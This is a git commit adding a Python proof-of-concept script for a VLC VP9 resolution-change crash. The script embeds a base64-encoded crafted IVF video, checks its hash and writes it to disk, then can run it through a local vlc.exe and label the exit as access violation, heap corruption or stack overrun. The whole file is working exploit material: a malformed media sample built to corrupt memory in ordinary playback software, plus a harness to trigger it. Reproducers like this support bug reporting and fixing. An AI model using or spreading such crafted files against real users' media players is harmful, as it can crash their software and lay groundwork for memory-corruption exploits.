Upload files to "vlc-vp9-reschange-crash-poc"

2026-06-29 17:09:18 +00:00
parent 36334ee741
commit 0567fe36cd
2 changed files with 227 additions and 0 deletions
@@ -0,0 +1,126 @@
+#!/usr/bin/env python3
+import argparse
+import base64
+import hashlib
+import json
+import subprocess
+import sys
+import time
+from pathlib import Path
+
+
+SAMPLE_B64 = (
+    "REtJRgAAIABWUDkwQABAAAEAAAABAAAAAgAAAAAAAABeAAAAAAAAAAAAAACCSYNCAAPwA/YGOCQcGEoAACBAAGtD///lXb23/SskhXr7zdPyoCRyEjNuPymkNJQgETBR424BCv//rXCHLKdpldqOXFZdaWk1nVibjsmAd3pGejzlO0+dlygBOCSA/wAAAAEAAAAAAAAAgkmDQgAD8f/2BjgkHBhKAADQR9j9Ye4xQAev+/8OAGxOd+f8niRqQFa1U/7kzgammYg1AcYQFrhfX6tE38imv1MXtaAO/yiEiKaaDpaMxLBBYGTZ80JtDb8+6GWkt+fdDLSW/PuhlpLfn3Qy0lvz7oZaS3590MtJb8+6GWkt+fdDLSW/PuhlpLfn3Qy0lvz7oZaS3590MtJb8+6GWkt+fdDLSW/PuhlpLfn3Qy0lvz7oZaS3590MtJb8+6GWkt+fdDLSW/PuhlpLfn3Qy0lvz7oZaS3590MtJb8+6GWkt+fdDLSW/PuhlpLfn3Qy0lvz7oZaS3590MtJb8+6GUoA"
+)
+
+EXPECTED_SHA256 = "F26BDEFBDFD0B44359E314E0BFDE7AEA979D29F80F598749DCCA68AB34F54649"
+
+CRASH_CODES = {
+    0xC0000005: "access_violation",
+    0xC0000374: "heap_corruption",
+    0xC0000409: "stack_buffer_overrun",
+}
+
+
+def code32(value):
+    if value is None:
+        return None
+    return value & 0xFFFFFFFF
+
+
+def classify_returncode(value):
+    code = code32(value)
+    if code is None:
+        return "timeout"
+    if code == 0:
+        return "clean"
+    if code in CRASH_CODES:
+        return f"crash:{CRASH_CODES[code]}"
+    return "nonzero"
+
+
+def write_sample(path):
+    data = base64.b64decode(SAMPLE_B64)
+    digest = hashlib.sha256(data).hexdigest().upper()
+    if digest != EXPECTED_SHA256:
+        raise RuntimeError(f"embedded sample hash mismatch: {digest}")
+    path.parent.mkdir(parents=True, exist_ok=True)
+    path.write_bytes(data)
+    return data
+
+
+def run_vlc(vlc, sample, timeout):
+    cmd = [
+        str(vlc),
+        "-I",
+        "dummy",
+        "--dummy-quiet",
+        "--ignore-config",
+        "--no-media-library",
+        "--play-and-exit",
+        "--run-time",
+        "2",
+        "--no-one-instance",
+        "--no-qt-privacy-ask",
+        "--no-qt-error-dialogs",
+        "--no-crashdump",
+        "--no-audio",
+        "--vout",
+        "dummy",
+        str(sample),
+        "vlc://quit",
+    ]
+    started = time.time()
+    try:
+        proc = subprocess.run(
+            cmd,
+            cwd=str(vlc.parent),
+            stdout=subprocess.PIPE,
+            stderr=subprocess.PIPE,
+            timeout=timeout,
+        )
+        returncode = proc.returncode
+        stdout = proc.stdout.decode("utf-8", "replace")
+        stderr = proc.stderr.decode("utf-8", "replace")
+    except subprocess.TimeoutExpired as exc:
+        returncode = None
+        stdout = (exc.stdout or b"").decode("utf-8", "replace")
+        stderr = (exc.stderr or b"").decode("utf-8", "replace")
+    return {
+        "status": classify_returncode(returncode),
+        "returncode": returncode,
+        "returncode_hex": f"0x{code32(returncode):08x}" if returncode is not None else None,
+        "elapsed": round(time.time() - started, 3),
+        "stdout_tail": stdout[-2000:],
+        "stderr_tail": stderr[-2000:],
+    }
+
+
+def main():
+    parser = argparse.ArgumentParser()
+    parser.add_argument(
+        "-o",
+        "--output",
+        type=Path,
+        default=Path("vp9_reschange_64x64_to_64x8192_tc0.ivf"),
+    )
+    parser.add_argument("--vlc", type=Path, help="optional path to vlc.exe for local replay")
+    parser.add_argument("--timeout", type=float, default=8)
+    args = parser.parse_args()
+
+    data = write_sample(args.output)
+    result = {
+        "sample": str(args.output.resolve()),
+        "sha256": hashlib.sha256(data).hexdigest().upper(),
+        "size": len(data),
+    }
+    if args.vlc:
+        result["vlc"] = run_vlc(args.vlc.resolve(), args.output.resolve(), args.timeout)
+    print(json.dumps(result, indent=2))
+
+
+if __name__ == "__main__":
+    try:
+        main()
+    except KeyboardInterrupt:
+        sys.exit(130)